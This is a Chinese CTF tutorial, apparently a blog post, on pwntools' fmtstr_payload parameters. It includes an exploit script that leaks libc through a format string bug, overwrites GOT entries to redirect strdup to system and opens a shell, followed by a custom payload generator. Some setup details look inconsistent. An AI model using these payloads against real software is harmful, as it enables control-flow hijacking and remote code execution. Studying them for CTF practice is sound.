平时做格式化字符串题目时常常会觉得构造任意地址写很麻烦,因为一个参数的填入需要进行多次计算和赋值,而fmtstr_payload函数很好地解决了这个问题,但是在调试和使用时时不时会遇到困难,fmtstr_payload 的参数有很多,以下是所有参数的详细介绍。
fmtstr_payload 函数原型
def fmtstr_payload(
offset: Any,
writes: Any,
numbwritten: int = 0,
write_size: str = 'byte',
write_size_max: str = 'long',
overflows: int = 16,
strategy: str = "small",
badbytes: frozenset = frozenset(),
offset_bytes: int = 0,
no_dollars: bool = False
) -> (Any | bytes)
参数详细说明
-
offset:- 类型: 任何类型
- 描述: 指定格式字符串的起始位置(在栈中的偏移量)。通常是指从栈顶向下数的偏移位置,指向你希望写入数据的位置。
- 获取方法: 可以通过gdb中的fmtarg获取,一般是获得的"%$p"+1。
-
writes:- 类型: 任何类型(通常是字典)
- 描述: 定义要写入的目标地址和对应的值。
- 形式:
{address: value, ...} - 示例:
{0x601020: 14, 0x601021: 147}。 - 注意:要记得不能address不能间隔太小,否则在确认正确的情况下需要对write_size进行限制才能运行。
-
numbwritten(可选):- 类型: 整数
- 描述: 记录已经写入的字节数,适用于在多次写入时调整格式字符串。
- 注意: 多次利用格式化字符串可以用,同样也可以利用这个参数进行padding。
-
write_size(可选):- 类型: 字符串
- 描述: 指定要写入的字节大小。
'byte': 写入一个字节(char)。'short': 写入两个字节(short)。'int': 写入四个字节(int)。
- 默认值:
'byte'。 - 使用: 在进行地址部分修改的时候挺有用。
-
write_size_max(可选):- 类型: 字符串
- 描述: 指定写入时最大字节的大小。用于定义更大的写入操作。
- 默认值:
'long'。
-
overflows(可选):- 类型: 整数
- 描述: 指定写入溢出的次数。用于控制要写入的字节数的最大值。
- 默认值:
16。 - 没用到过。
-
strategy(可选):- 类型: 字符串
- 描述: 指定格式字符串的生成策略。可选值包括:
"small": 使用较小的值。"large": 使用较大的值。- 其他策略以优化生成的 payload。
- 默认值:
"small"。
-
badbytes(可选):- 类型: 不可变集合(frozenset)
- 描述: 指定在生成格式字符串时需要避免的字节。例如,某些字符可能在目标程序中引起不良影响或崩溃。
- 默认值: 空集合
frozenset()。 - 注意: 这个还挺好用的,能够弄出一些奇怪的绕过,但是如果涉及到需要write_size不同的情况,建议自己写,他可能会报错。
-
offset_bytes(可选):- 类型: 整数
- 描述: 指定偏移量的字节数。通常在处理特定的输入格式或协议时使用。
- 默认值:
0。 - 使用: 大端和小端,默认的应该是小端,配置了context也会自动调整的,一般用不上。
-
no_dollars(可选):- 类型: 布尔值
- 描述: 如果设置为
True,生成的格式字符串将不包含$符号。这在某些情况下可能是必要的,尤其是在目标程序不支持$符号的情况下。 - 默认值:
False。 - 很难用到。
返回值
该函数返回生成的格式字符串,通常是字节类型(bytes),可用于格式字符串漏洞利用。
使用示例
以下是一个简单的使用 fmtstr_payload 的示例:
from pwn import *
context(arch="arm64")
io=remote()
elf=ELF()
# fmt %7$x %8$n
puts_got = elf.got["puts"]
strdup_got = elf.got["strdup"]
memset_got = elf.got["memset"]
#main_addr 400E93
payload_1=fmtstr_payload(8, {memset_got: 0x400E93})
io.sendlineafter(b"please input name:\n",payload_1)
io.sendlineafter(b"input size of motto:\n",b"1")
payload_2 = b"AAAA%9$s" + p64(puts_got)
io.sendlineafter(b"please input name:\n",payload_2)
io.recvuntil(b"AAAA")
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(puts_addr))
libcbase = puts_addr - 0x06f690
system_addr = libcbase + 0x045390
print(hex(system_addr))
def strdup_system(system):
x = system >>16 & 0xffff
y = system & 0xffff
print(x)
print(y)
if x>y:
payload = flat("%"+str(y)+"c%12$hn%"+str(x-y)+"c%13$hn")
payload = payload.ljust(32,b"a")
print(payload)
payload += p64(strdup_got)+p64(strdup_got+2)
if x<y:
payload = flat("%"+str(x)+"c%12$hn%"+str(y-x)+"c%13$hn")
payload = payload.ljust(32,b"a")
print(payload)
payload += p64(strdup_got+2)+p64(strdup_got)
return payload
payload_3 = strdup_system(system_addr)
io.sendlineafter("please input name:\n",payload_3)
io.interactive()
注意事项
- 完整性:要记住在程序开头对context的参数进行补充,否则fmtstr_payload会根据默认配置运行,容易不正确。
- 正确性:确保目标地址和要写入的值是正确的。
- 调试:使用调试工具检查生成的 payload,以确保其行为符合预期。
- 安全性:在安全测试中使用格式字符串攻击的 payload 时,请遵循法律和道德规范。
实现
def Fmt(offset,address,value,arch=32,had=0,strategy=0):
if address>0xffffffff:
arch=64
if arch==32:
return Fmt32(offset,address,value,had,strategy)
elif arch==64:
return Fmt64(offset,address,value,had,strategy)
else:
return b""
def Fmt32(offset,address,value,had,strategy):
result = b""
tmp=0
value_table=[]
while value>0xff:
tmp_value=(value & 0xff)-had
while len(value_table)>0 and tmp_value<value_table[-1]+7:
tmp_value+=0x100
while tmp_value<0:
tmp_value+=0x100
value_table.append(tmp_value)
value >>= 8
while len(value_table)>0 and value<value_table[-1]:
value+=0x100
value_table.append(value)
for index, v in enumerate(value_table):
tmp_add=b"%"+str(v-tmp).encode()+b"c"
tmp=v
tmp_add+=b"%"+str(offset+4*len(value_table)+index).encode()+b"$hhn"
tmp+=16-len(tmp_add)
tmp_add+=b"\x90"*(16-len(tmp_add))
result+=tmp_add
for count in range(len(value_table)):
address_bytes = (address + count).to_bytes(4, byteorder='big' if strategy == 1 else 'little')
for i in range(len(address_bytes)):
result += address_bytes[i:i+1]
result += b"\x00"*(4-len(result))
return result
def Fmt64(offset,address,value,had,strategy):
result = b""
tmp=0
value_table=[]
while value>0xff:
tmp_value=(value & 0xff)-had
while len(value_table)>0 and tmp_value<value_table[-1]+7:
tmp_value+=0x100
while tmp_value<0:
tmp_value+=0x100
value_table.append(tmp_value)
value >>= 8
while len(value_table)>0 and value<value_table[-1]:
value+=0x100
value_table.append(value)
for index, v in enumerate(value_table):
tmp_add=b"%"+str(v-tmp).encode()+b"c"
tmp=v
tmp_add+=b"%"+str(offset+2*len(value_table)+index).encode()+b"$hhn"
tmp+=16-len(tmp_add)
tmp_add+=b"\x90"*(16-len(tmp_add))
result+=tmp_add
for count in range(len(value_table)):
address_bytes = (address + count).to_bytes(8, byteorder='big' if strategy == 1 else 'little')
for i in range(len(address_bytes)):
result += address_bytes[i:i+1]
result += b"\x00"*(8-len(result))
return result
通过这些参数的合理设置,fmtstr_payload 可以为你提供灵活而强大的格式字符串生成能力,帮助你更好地进行漏洞利用。格式化字符串漏洞的利用方法还是比较多比较丰富的,可以泄露任意地址内容也可以任意地址写,在进行got表修改和控制流劫持中都很常用,一旦遇到基本就问题很大,所以很有必要掌握好。